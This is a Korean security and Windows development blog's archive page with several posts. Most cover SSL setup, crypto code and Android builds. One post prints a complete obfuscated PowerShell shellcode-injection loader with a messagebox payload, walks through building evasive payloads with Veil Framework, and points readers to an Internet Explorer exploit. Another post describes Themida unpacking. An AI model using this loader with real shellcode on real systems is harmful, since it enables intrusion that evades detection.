'분류 전체보기' 카테고리의 글 목록 (9 Page)

전체

Windows 7에서는 RSA1024 이하의 인증서 미지원 2015.10.29
APMSetup + SSL(https) 구축 무작정 따라하기 2015.08.23 3
RPC 파이프를 이용한 브라우저와의 통신 2015.05.21
콜스택 확인하기 2015.04.27
Crypto API 를 이용하여 파일 MD5 구하기 2015.04.07
openssl 2015.02.16
PowerShell + Veil Framework을 활용한 페이로드 작성 2015.01.07
[OpenSSL] Convert RSA Structure to PEM 2014.12.16
더미다 언패킹 따라하기 Themida - Winlicense Ultra Unpacker 1.4 2014.11.11 7
Visual Studio에서 ARM-Android 라이브러리를 쉽게 빌드해보자 2014.10.17

Windows 7에서는 RSA1024 이하의 인증서 미지원

Codetronik 2015. 10. 29. 17:00

2015. 10. 29. 17:00

우연히 발견했는데 XP에서는 RSA 1024bit 이하 인증서를 지원하는 반면 Windows 7에서는 디지털 서명 오류를 뿜어내는군요.

# Windows XP의 경우

# Windows 7의 경우

결론 : RSA2048을 사용합시다.

APMSetup + SSL(https) 구축 무작정 따라하기

Codetronik 2015. 8. 23. 20:04

2015. 8. 23. 20:04

APMSetup에서 SSL(https)을 구축하는 방법을 설명합니다.

1. APMSETUP 설치

기본 값으로 설치합니다.

http://www.apmsetup.com/download.php

2. Openssl 설치

아래 파일을 다운로드하여 c:\openssl에 압축 해제합니다.

openssl.zip

본 포스팅에서는 스스로가 인증기관(CA)이 되어 셀프 서명한 루트 공개키 인증서를 만들어서 사용합니다.

1) 개인키/공개키 만들기

인증기관(CA)의 키를 생성합니다.

>> openssl genrsa -out CA_Private.pem

2) 인증서 서명 요청서 만들기

인증기관에 요청할 요청서(CSR)를 만듭니다.

>> openssl req -new -key CA_Private.pem -out CA_Request.pem

지역, 회사명 등을 순서대로 기입합니다. 마지막 아래 2칸은 비워도 무방합니다.

3) 공개키 인증서 만들기

요청서를 가지고 인증기관의 개인키를 사용하여 공개키 인증서를 만듭니다.

3. APACHE 설정파일 수정

1) c:\APM_Setup\Server\Apache\conf\httpd.conf

아래 2줄을 찾아서 주석을 삭제합니다.

#LoadModule ssl_module modules/mod_ssl.so

#Include conf/extra/httpd-ssl.conf

2) C:\APM_Setup\Server\Apache\conf\extra\httpd-ssl.conf

- Webroot 경로명 수정

DocumentRoot "C:/APM_Setup/Server/Apache/htdocs" 을 "C:/APM_Setup/htdocs"으로 수정합니다.

- 키파일 경로명 수정

SSLCertificateFile "C:/APM_Setup/Server/Apache/conf/server.crt" 을 "C:/openssl/bin/CA_Cert.pem"으로 수정합니다.

SSLCertificateKeyFile "C:/APM_Setup/Server/Apache/conf/server.key" 을 "C:/openssl/bin/CA_Private.pem"으로 수정합니다.

4. 구동 및 확인

C:\APM_Setup\Server\Apache\bin\ApacheMonitor.exe을 실행하여 재시작한 뒤 빨간 밑줄과 같이 ssl이 올라왔는지 확인합니다.

접속 후 인증서를 확인해봅니다.

'Windows' 카테고리의 다른 글

원클릭 12345 (1)	2019.07.04
Bonobo Git 설치 따라하기 (Windows 2012 R2) (0)	2016.03.03
더미다 언패킹 따라하기 Themida - Winlicense Ultra Unpacker 1.4 (7)	2014.11.11
EMET 5.0 - ASR 소개 및 오진 (0)	2014.08.05
Internet Explorer DLL Injector (0)	2014.04.17

RPC 파이프를 이용한 브라우저와의 통신

Codetronik 2015. 5. 21. 10:04

2015. 5. 21. 10:04

개발환경 : Visual Studio 2013 / Windows 7 x64

Active X, 후킹모듈과 같은 브라우저용 DLL을 개발하다보면 로그 처리 및 타 프로세스와 연동할 일이 생기는데 기본적으로 브라우저는 낮은 Integrity를 가지고 있으므로 temp폴더 정도의 자원만 사용할 수 있습니다.

제가 만든 프로그램 (PIPESERVER.exe - High Integrity)에서 생성한 파이프는 브라우저(iexplore.exe - Low Integrity)에서 사용할 수 없습니다.

이를 해결하기 위해 각종 핸들(PIPE 등)을 생성할 때 SECURITY 관련 속성을 인자로 주어야 합니다.

아래 예제 소스는 RPC 파이프를 이용하여 브라우저 DLL에서 EXE의 함수를 호출하는 것을 보여줍니다.

(아래 참조사이트들을 참고하여 작성하였습니다.)

# EXE (서버) Side

RPC_STATUS CALLBACK SecurityCallback(RPC_IF_HANDLE /*hInterface*/, void* /*pBindingHandle*/)
{
	return RPC_S_OK; // Always allow anyone.
}

void RunRPCServer()
{
	unsigned char pszSecurity[SECURITY_DESCRIPTOR_MIN_LENGTH] = { 0, };
	PSECURITY_DESCRIPTOR pSD = NULL;
	PACL pSacl = NULL;
	BOOL bSaclPresent = FALSE;
	BOOL bSaclDefaulted = FALSE;

// 초기화
	InitializeSecurityDescriptor(pszSecurity, SECURITY_DESCRIPTOR_REVISION);
	SetSecurityDescriptorDacl(pszSecurity, TRUE, 0, FALSE);

// LOW Integrity에서 접근하기 위한 설정
	ConvertStringSecurityDescriptorToSecurityDescriptor(L"S:(ML;;NW;;;LW)", SDDL_REVISION_1, &pSD, NULL);
	GetSecurityDescriptorSacl(pSD, &bSaclPresent, &pSacl, &bSaclDefaulted);
	SetSecurityDescriptorSacl(pszSecurity, TRUE, pSacl, FALSE);

// 파이프 설정
	RPC_STATUS status = RpcServerUseProtseqEp((RPC_CSTR)"ncacn_np",
		RPC_C_PROTSEQ_MAX_REQS_DEFAULT,
		(RPC_CSTR)"\\pipe\\program1",
		pszSecurity);

if (status != RPC_S_OK)
	{
		// 에러 처리
	}

// 인터페이스 등록 - 첫번째 인자엔 생성한 인터페이스를 등록하세요.
	status = RpcServerRegisterIf2(InterfaceName_v1_0_s_ifspec,
		NULL,
		NULL,
		RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH, // Forces use of security callback.
		RPC_C_LISTEN_MAX_CALLS_DEFAULT, // Use default number of concurrent calls.
		(unsigned)-1, // Infinite max size of incoming data blocks.
		SecurityCallback); // Naive security callback.

// ... 에러 처리 생략

// 대기 상태 (루프 상태가 됨)
	status = RpcServerListen(1, RPC_C_LISTEN_MAX_CALLS_DEFAULT, FALSE);

// ... 에러 처리 생략
}

# DLL (클라이언트) Side

주의하여야 할 점은 RpcStringBindingCompose 함수의 인자로 local을 의미하는 "\\\\."을 사용하였는데 일반적인 경우는 "localhost"를 사용해도 상관 없지만 브라우저 DLL의 경우 반드시 "\\\\."을 사용해야 정상 동작합니다.

도움이 되는 참조 사이트

RPC 기본 샘플 예제

http://www.codeproject.com/Articles/4837/Introduction-to-RPC-Part

VISTA에서 Active X와 통신

https://www.blackhat.com/presentations/bh-usa-08/Kim/BH_US_08_Kim_Vista_and_ActiveX_control_WhitePaper.pdf

'Windows > Dev' 카테고리의 다른 글

[C] 컴파일러 별 자료형 크기 비교 (0)	2017.03.14
ollydbg plugin - 메모리에서 base64 참조 코드 검색하기 (0)	2016.12.03
콜스택 확인하기 (0)	2015.04.27
Crypto API 를 이용하여 파일 MD5 구하기 (0)	2015.04.07
zlib for windows (0)	2014.07.01

콜스택 확인하기

Codetronik 2015. 4. 27. 10:47

2015. 4. 27. 10:47

함수가 호출 될 당시의 콜스택을 확인합니다.

DEPTH를 5로 설정하면 5 DEPTH까지 호출한 주소를 출력합니다.

만약 디버거 없이 동적으로 콜스택을 확인하고 싶다면 이 방법을 쓰면 됩니다.

(후킹용 DLL 에서 유용할 것이라 생각됩니다.)

이 예제는 TestFunction() 이 호출될 당시의 콜스택을 보여줍니다. (최적화 안함)

샘플을 돌린 결과입니다. 출력된 호출 주소의 바로 윗줄이 실제 호출 주소입니다.

'Windows > Dev' 카테고리의 다른 글

ollydbg plugin - 메모리에서 base64 참조 코드 검색하기 (0)	2016.12.03
RPC 파이프를 이용한 브라우저와의 통신 (0)	2015.05.21
Crypto API 를 이용하여 파일 MD5 구하기 (0)	2015.04.07
zlib for windows (0)	2014.07.01
Ring 3에서 Segment Descriptor의 Base Address 구하기 (0)	2014.03.18

Crypto API 를 이용하여 파일 MD5 구하기

Codetronik 2015. 4. 7. 10:57

2015. 4. 7. 10:57

빌드 환경 : Visual Studio 2010

필요 헤더 : windows.h

윈도우즈 환경에서 Crypto API를 이용하여 손쉽게 MD5를 구할 수 있습니다.

BOOL GetMD5(IN char *szFileName, OUT char* szMD5)
{
	BOOL bRet = FALSE;
	BOOL bSuccess = FALSE;
	HCRYPTPROV hProv = 0;
	HCRYPTHASH hHash = 0;
	BYTE rgbHash[16];
	DWORD cbHash = 16;
	char rgbDigits[] = "0123456789abcdef";
	BYTE* byFile = NULL;

// 파일 열기
	HANDLE hFile = CreateFile(szFileName, GENERIC_READ, 0 , NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
 	if(hFile == INVALID_HANDLE_VALUE)
	{	
		goto EXIT_ERROR;
	}

// 파일 사이즈 구하기
	LARGE_INTEGER llFileSize; 
	GetFileSizeEx(hFile, &llFileSize);
	DWORD dwFileSize = llFileSize.QuadPart;
	byFile = new BYTE[dwFileSize];
	DWORD dwRead = 0; // 실제로 읽어들인..

// 파일을 읽어 바이너리를 byFile 버퍼에 저장한다.
	bSuccess = ReadFile(hFile, byFile, dwFileSize, &dwRead, NULL);
	if (FALSE == bSuccess)
	{
		goto EXIT_ERROR;
	}
        CloseHandle(hFile);

// Crypto API 사용
	bSuccess = CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT);
	if (FALSE == bSuccess)
	{
		goto EXIT_ERROR;
	}

bSuccess = CryptCreateHash(hProv, CALG_MD5, 0, 0, &hHash);
	if (FALSE == bSuccess)
	{
		CryptReleaseContext(hProv, 0);
		goto EXIT_ERROR;
	}

bSuccess = CryptHashData(hHash, byFile, dwRead, 0);
	if (FALSE == bSuccess)
	{

CryptReleaseContext(hProv, 0);
		CryptDestroyHash(hHash);
		goto EXIT_ERROR;
	}

bSuccess = CryptGetHashParam(hHash, HP_HASHVAL, rgbHash, &cbHash, 0);
	if (FALSE == bSuccess)
	{
		goto EXIT_ERROR;
	}
	
	// md5 결과 출력
	for (DWORD i = 0; i < 16; i++)
	{
		char szTemp[10] = {0, };
		wsprintf(szTemp, "%c%c", rgbDigits[rgbHash[i] >> 4], rgbDigits[rgbHash[i] & 0xf]);
		printf("%c%c", rgbDigits[rgbHash[i] >> 4], rgbDigits[rgbHash[i] & 0xf]);
		strcat(szMD5, szTemp);
	}

printf("\n");

bRet = TRUE;
	goto EXIT;

EXIT_ERROR:
	printf("GET MD5 ERROR!\n");
	bRet = FALSE;

EXIT:;
	if (hHash)
	{
		CryptDestroyHash(hHash);
	}
	if (hProv)
	{
		CryptReleaseContext(hProv, 0);
	}
	if (byFile)
	{
		delete [] byFile;
	}

return bRet;
}

'Windows > Dev' 카테고리의 다른 글

ollydbg plugin - 메모리에서 base64 참조 코드 검색하기 (0)	2016.12.03
RPC 파이프를 이용한 브라우저와의 통신 (0)	2015.05.21
콜스택 확인하기 (0)	2015.04.27
zlib for windows (0)	2014.07.01
Ring 3에서 Segment Descriptor의 Base Address 구하기 (0)	2014.03.18

openssl

2015. 2. 16. 20:11

PowerShell + Veil Framework을 활용한 페이로드 작성

Codetronik 2015. 1. 7. 17:42

2015. 1. 7. 17:42

먼저 PowerShell이 무엇인지 잠깐 짚고 넘어가봅니다.

윈도 파워셸(Windows PowerShell)은 마이크로소프트가 개발한 확장 가능한 명령줄 인터페이스(CLI) 셸 및 스크립트 언어이다. 객체 지향에 근거해 설계되고 있어 닷넷 프레임워크 2.0을 기반으로 하고 있다. 이전에는 마이크로소프트 셸(MSH, 코드네임 Monad)로 불리고 있었다.현재 윈도 XP, 윈도 서버 2003, 윈도 비스타, 윈도 서버 2008, 윈도 7, 윈도 8, 윈도 서버 2008 R2를 모두 지원한다.

위키백과에서 발췌한 내용입니다.

그냥 쉽게 말하면 리눅스의 bash 같은 쉘입니다.

파워쉘은 Windows에서 기본으로 제공하는데 여기에 쉘코드를 인젝션 시키는 것이 가능합니다.

이는 타겟 시스템의 기본 자원을 가지고 공격을 수행할 수 있다는 것을 의미합니다.

실제 동작을 확인하기 위해 Metasploit으로 파워쉘용 쉘코드 스크립트를 작성해보겠습니다.

메시지박스를 실행시키는 페이로드를 불러온 뒤 파워쉘 스크립트로 저장합니다.

스크립트 파일이 생성되었습니다.

파워쉘을 실행시킨 뒤 생성된 내용을 그대로 붙여 넣기 합니다. 해당 코드는 x86이므로 wow64 파워쉘로 실행해야 합니다. (Windows x64의 경우)

(wow64 경로 : c:\windows\syswow64\windowspowershell\v1.0\powershell.exe)

$faOFkTlUkt = @" [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport("msvcrt.dll")] public static extern IntPtr memset(IntPtr dest, uint src, uint count); "@ $uYpGqxMRpjELFbc = Add-Type -memberDefinition $faOFkTlUkt -Name "Win32" -namespace Win32Functions -passthru [Byte[]] $qRvhHSersmqsss = 0xd9,0xeb,0x9b,0xd9,0x74,0x24,0xf4,0x31,0xd2,0xb2 $qRvhHSersmqsss += 0x77,0x31,0xc9,0x64,0x8b,0x71,0x30,0x8b,0x76,0xc $qRvhHSersmqsss += 0x8b,0x76,0x1c,0x8b,0x46,0x8,0x8b,0x7e,0x20,0x8b $qRvhHSersmqsss += 0x36,0x38,0x4f,0x18,0x75,0xf3,0x59,0x1,0xd1,0xff $qRvhHSersmqsss += 0xe1,0x60,0x8b,0x6c,0x24,0x24,0x8b,0x45,0x3c,0x8b $qRvhHSersmqsss += 0x54,0x28,0x78,0x1,0xea,0x8b,0x4a,0x18,0x8b,0x5a $qRvhHSersmqsss += 0x20,0x1,0xeb,0xe3,0x34,0x49,0x8b,0x34,0x8b,0x1 $qRvhHSersmqsss += 0xee,0x31,0xff,0x31,0xc0,0xfc,0xac,0x84,0xc0,0x74 $qRvhHSersmqsss += 0x7,0xc1,0xcf,0xd,0x1,0xc7,0xeb,0xf4,0x3b,0x7c $qRvhHSersmqsss += 0x24,0x28,0x75,0xe1,0x8b,0x5a,0x24,0x1,0xeb,0x66 $qRvhHSersmqsss += 0x8b,0xc,0x4b,0x8b,0x5a,0x1c,0x1,0xeb,0x8b,0x4 $qRvhHSersmqsss += 0x8b,0x1,0xe8,0x89,0x44,0x24,0x1c,0x61,0xc3,0xb2 $qRvhHSersmqsss += 0x8,0x29,0xd4,0x89,0xe5,0x89,0xc2,0x68,0x8e,0x4e $qRvhHSersmqsss += 0xe,0xec,0x52,0xe8,0x9f,0xff,0xff,0xff,0x89,0x45 $qRvhHSersmqsss += 0x4,0xbb,0x7e,0xd8,0xe2,0x73,0x87,0x1c,0x24,0x52 $qRvhHSersmqsss += 0xe8,0x8e,0xff,0xff,0xff,0x89,0x45,0x8,0x68,0x6c $qRvhHSersmqsss += 0x6c,0x20,0x41,0x68,0x33,0x32,0x2e,0x64,0x68,0x75 $qRvhHSersmqsss += 0x73,0x65,0x72,0x88,0x5c,0x24,0xa,0x89,0xe6,0x56 $qRvhHSersmqsss += 0xff,0x55,0x4,0x89,0xc2,0x50,0xbb,0xa8,0xa2,0x4d $qRvhHSersmqsss += 0xbc,0x87,0x1c,0x24,0x52,0xe8,0x61,0xff,0xff,0xff $qRvhHSersmqsss += 0x68,0x6f,0x78,0x58,0x20,0x68,0x61,0x67,0x65,0x42 $qRvhHSersmqsss += 0x68,0x4d,0x65,0x73,0x73,0x31,0xdb,0x88,0x5c,0x24 $qRvhHSersmqsss += 0xa,0x89,0xe3,0x68,0x58,0x20,0x20,0x20,0x68,0x4d $qRvhHSersmqsss += 0x53,0x46,0x21,0x68,0x72,0x6f,0x6d,0x20,0x68,0x6f $qRvhHSersmqsss += 0x2c,0x20,0x66,0x68,0x48,0x65,0x6c,0x6c,0x31,0xc9 $qRvhHSersmqsss += 0x88,0x4c,0x24,0x10,0x89,0xe1,0x31,0xd2,0x52,0x53 $qRvhHSersmqsss += 0x51,0x52,0xff,0xd0,0x31,0xc0,0x50,0xff,0x55,0x8 $iUvqltIb = $uYpGqxMRpjELFbc::VirtualAlloc(0,[Math]::Max($qRvhHSersmqsss.Length,0x1000),0x3000,0x40) for ($riQEReJZKxHUY=0;$riQEReJZKxHUY -le ($qRvhHSersmqsss.Length-1);$riQEReJZKxHUY++) { $uYpGqxMRpjELFbc::memset([IntPtr]($iUvqltIb.ToInt32()+$riQEReJZKxHUY), $qRvhHSersmqsss[$riQEReJZKxHUY], 1) | Out-Null } $uYpGqxMRpjELFbc::CreateThread(0,0,$iUvqltIb,0,0,0)

아래는 결과입니다.

스크립트를 보면 알겠지만 쉘코드 스레드를 생성하여 실행시키는 간단한 내용입니다.

위의 스크립트를 페이로드로 활용하기엔 2% 부족합니다. 이를 Veil-Framework로 간단히 해결할 수 있습니다.

https://www.veil-framework.com/

Veil-Framework에서 제공하는 파워쉘 옵션과 다양한 페이로드를 결합하여 강력한 파워쉘 페이로드를 생성할 수 있습니다.

첫 실행화면입니다. 39개의 페이로드가 로드되었다고 나옵니다. 이를 list 명령어로 확인할 수 있습니다.

이제부터 동일한 기능을 수행하는 페이로드를 생성할 것입니다.

파워쉘 쉘코드 인젝션을 이용할 것이므로 use 21을 입력합니다.

Generate를 입력합니다.

디폴트 옵션을 사용합니다.

쉘코드를 선택하는데 tab 키를 누르면 리스트가 나타납니다. 그림과 같이 windows/messagebox 를 기입 후 적당한 값을 입력합니다.

저장할 파일 이름을 입력합니다. 해당 파일은 bat확장자로 저장됩니다.

성공적으로 파일이 저장되었습니다.

해당 배치 파일을 실행하면 메시지박스 창이 나타납니다.

공격사례 : 작년에 발표된 "godmode" 익스플로잇입니다.

GradiusX, b33f 닉네임을 사용하는 해커들이 기존 발표된 익스플로잇에 파워쉘을 얹었습니다.

여기에 사용된 파워쉘은 위 실습 내용과 같으므로 패치되지 않은 IE 브라우저에서 실행해보시길 바랍니다.

http://www.exploit-db.com/exploits/35308/

프로세스 트리를 살펴보면 iexplore.exe -> powershell.exe 형태입니다.

이처럼 커맨드라인 RCE 공격 형태에서 매우 효과적인데, JRE 공격의 경우 대부분이 커맨드라인 형태이므로 유용할 것이라 생각됩니다.

'Windows > Hacking & Vulnerability' 카테고리의 다른 글

code virtuzlier v1.0.1.0 동작 분석 (3)	2020.05.08
stripper v2.07 (구버전 asprotect unpacker) (0)	2019.12.25
Peach Fuzzer를 이용한 File Fuzzing #2 (0)	2014.07.22
Peach Fuzzer를 이용한 File Fuzzing #1 (0)	2014.07.18
MiniFuzz를 이용한 File Fuzzing (2)	2014.07.17

[OpenSSL] Convert RSA Structure to PEM

Codetronik 2014. 12. 16. 14:08

2014. 12. 16. 14:08

RSA 구조체를 PEM으로 변환하는 방법입니다.

파일 혹은 버퍼로 저장할 수 있습니다.

#define MEMORY_PEM	0
#define FILE_PEM	1

BOOL ConvertRSAtoPEM(IN RSA *rsa, IN int type, OUT char* szOutPem)
{
	BOOL bRet = FALSE;
	int iSuccess = 0;
	BIO *bio = NULL;
	EVP_CIPHER *evp = NULL;

// 파일로 BIO 메모리를 생성
	if (FILE_PEM == type)
	{
		bio = BIO_new(BIO_s_file());
	}
	// 메모리로 BIO 메모리를 생성
	else
	{
		bio = BIO_new(BIO_s_mem());
	}

if (NULL == bio)
	{
		goto EXIT;
	}

if (FILE_PEM == type)
	{
		// 파일 이름을 지정
		iSuccess = BIO_write_filename(bio, "c:\\rsa.txt");	
		if (0 == iSuccess)
		{
			goto EXIT;
		}
	}
	
	// RSA 개인키를 PEM으로 저장 (이 함수를 구글링으로 원하는거에 맞게 수정합니다.)
	iSuccess = PEM_write_bio_RSAPrivateKey(bio, rsa, evp, NULL, 0, NULL, NULL);
	if (0 == iSuccess)
	{
		goto EXIT;
	}

// 메모리 타입일때 BIO에서 pem을 읽는다.
	if (MEMORY_PEM == type)
	{
		//szOutPem = (char*)malloc(bio->num_write + 1);
		//memset(szOutPem, 0, bio->num_write + 1);
		BIO_read(bio, szOutPem, bio->num_write);	
	}

bRet = TRUE;
EXIT:
	if (bio)
	{
		if (FILE_PEM == type)
		{
			BIO_flush(bio);
			BIO_free_all(bio);
		}
		else
		{
			BIO_free(bio);
		}
	}
    return bRet;
}

ConvertRSAtoPEM(rsa, FILE_PEM, NULL);
char pem[5000] = {0, };
ConvertRSAtoPEM(rsa, MEMORY_PEM, pem);
printf("%s", pem);

'Applied Cryptography' 카테고리의 다른 글

[EC] 디지털 서명 3종 (0)	2025.03.16
[양자내성암호] Kyber 찍먹해보기 (0)	2025.02.20
전자서명(pkcs#7)과 전자봉투 (0)	2019.12.22
[C / openssl] 공인인증서 개인키 추출 및 RSA 구조체로 변환하기 (2)	2016.09.08
openssl rsa 키 생성 테스트 (1)	2016.01.01

더미다 언패킹 따라하기 Themida - Winlicense Ultra Unpacker 1.4

Codetronik 2014. 11. 11. 14:58

2014. 11. 11. 14:58

본 포스팅은 LCF-AT가 TUTS4YOU에 공개한 Themida - Winlicense Ultra Unpacker 1.4 스크립트를 가지고 매뉴얼 언패킹 하는 것을 다룹니다.

아래 URL에 더 자세하고 많은 내용이 있습니다.

https://tuts4you.com/download.php?view.3526 <-- 튜토리얼 동영상이 있습니다.

https://forum.tuts4you.com/topic/34085-themida-winlicense-ultra-unpacker-14/

준비물

OllyDbg 1.0

ODbgScript / StrongOD / Phant0m 플러그인

ODbgScript.1.82.rarPhantOm Plugin v1.85.rarStrongOD v0.4.8.892.rar

언패킹 스크립트 / ARImpRec.dll

ARImpRec.dllThemida - Winlicense Ultra Unpacker 1.0.txt

1. 디버깅 옵션에서 처음 정지될 포인트를 수정합니다.

2. 플러그인 옵션을 수정합니다.

3. 스크립트에서 DLL 경로를 수정합니다.

4. 샘플을 로드 한 후 (F9로 실행 금지) 플러그인에서 스크립트 창을 띄운 후 실행합니다.

5. 중간에 call LOG_START가 나오면 Resume합니다.

6. EFL을 어디서 체크할 것인지 묻습니다. WinLicense 안에서 할건지 밖에서 할건지

여기선 472DF9에 있으므로 Yes(안) 를 누릅니다. (WinLicense : 470000 (size : 1F80000)

6. 다이렉트 API 점프를 FIX할 것인지 묻습니다. 처음엔 NO, 추후 실패하면 Yes를 누릅니다.

7. 언패킹에 성공하면 성공 메시지가 뜨면서 코드가 복원됩니다.

2016.02.02 수정 - 요즘도 포스팅에 대해 간혹 문의를 하시는 분들이 계신데 동작이 안되면 최신 언패킹 스크립트를 찾으시는 것이 문제 해결에 빠를 것입니다. 이것도 이제는 구자료이고 2014년 이후 버전에 동작이 안될 가능성이 높습니다. 구버전 언패킹 혹은 참고용으로 보시기 바랍니다.

'Windows' 카테고리의 다른 글

Bonobo Git 설치 따라하기 (Windows 2012 R2) (0)	2016.03.03
APMSetup + SSL(https) 구축 무작정 따라하기 (3)	2015.08.23
EMET 5.0 - ASR 소개 및 오진 (0)	2014.08.05
Internet Explorer DLL Injector (0)	2014.04.17
JMP SHORT, 어디까지 점프 가능한가? (0)	2014.01.24

Visual Studio에서 ARM-Android 라이브러리를 쉽게 빌드해보자

Codetronik 2014. 10. 17. 17:45

2014. 10. 17. 17:45

vs-android를 사용하여 VS환경에서 쉽게 라이브러리를 빌드할 수 있습니다.

http://code.google.com/p/vs-android/

우선 메인화면에서 파일을 다운로드합니다. 다운로드 탭으로 가면 샘플파일이 있는데 이것도 다운로드합니다.

압축을 풀고 .cmd 파일을 관리자 권한으로 실행합니다.

인스톨 가이드를 보면 JAVA, ANT, Android SDK, NDK를 설치하라고 하는데 라이브러리만 빌드할 거면 NDK만 있으면 됩니다.

하나 아쉬운 점은 실행파일은 지원하지 않는다는 점입니다. 이는 컴파일러 옵션 수정으로 해결할 수 있을 것으로 보입니다.

http://developer.android.com/tools/sdk/ndk/index.html

이 곳에서 NDK를 다운로드 합니다. 32비트 타겟 플랫폼을 다운로드합니다.

C:\android-ndk-r10의 경로에 압축 해제 후 사용자 환경변수에 새로 만들기를 클릭하여 등록을 합니다. (ANDROID_NDK_BOOT)

샘플 파일을 풀고 프로젝트 파일을 열어 잘 동작하는지 확인합니다. 주의하여야 하는 점은 디렉토리의 공백이나 한글은 에러 발생이 원인이 될 수 있습니다.

NDK이외에 아무것도 설치하지 않았으므로 동적이나 정적 라이브러리로 빌드해봅니다.

빌드가 성공적이면 프로젝토 폴더\Android\Debug 에 결과물이 저장됩니다.

새로운 프로젝트 만들기

1. 빈 프로젝트를 생성합니다. (한글, 공백 X)

2. 구성관리자 -> 활성 솔루션 플랫폼 -> 새로 만들기

3. 파일을 추가하고 빌드

깨알 팁 : ndk-build와는 달리 특정 시스템 함수 사용 시 undefined 에러가 발생할 수 있습니다. dlopen()의 경우 -ldl 옵션을 링커에 설정해주어야 합니다.

'Android Linux' 카테고리의 다른 글

시스템 콜(syscall) 함수 직접 호출하기 (0)	2017.11.01
kdress x86 빌드 (0)	2017.10.17
Simple Stack Buffer Overflow in ARM (0)	2014.08.01
폰에 SSH 서버를 설치하여 보다 편리한 환경 구축하기 (0)	2014.06.17
분기(Branch)와 코드 패칭 (Code Patching) (0)	2014.06.02

PREV 이전 1 ···6 7 8 9 10 11 12 NEXT 다음

Codetronik

전체

Windows 7에서는 RSA1024 이하의 인증서 미지원

APMSetup + SSL(https) 구축 무작정 따라하기

'Windows' 카테고리의 다른 글

RPC 파이프를 이용한 브라우저와의 통신

'Windows > Dev' 카테고리의 다른 글

콜스택 확인하기

'Windows > Dev' 카테고리의 다른 글

Crypto API 를 이용하여 파일 MD5 구하기

'Windows > Dev' 카테고리의 다른 글

openssl

PowerShell + Veil Framework을 활용한 페이로드 작성

'Windows > Hacking & Vulnerability' 카테고리의 다른 글

[OpenSSL] Convert RSA Structure to PEM

'Applied Cryptography' 카테고리의 다른 글

더미다 언패킹 따라하기 Themida - Winlicense Ultra Unpacker 1.4

'Windows' 카테고리의 다른 글

Visual Studio에서 ARM-Android 라이브러리를 쉽게 빌드해보자

'Android Linux' 카테고리의 다른 글

+ Recent posts

티스토리툴바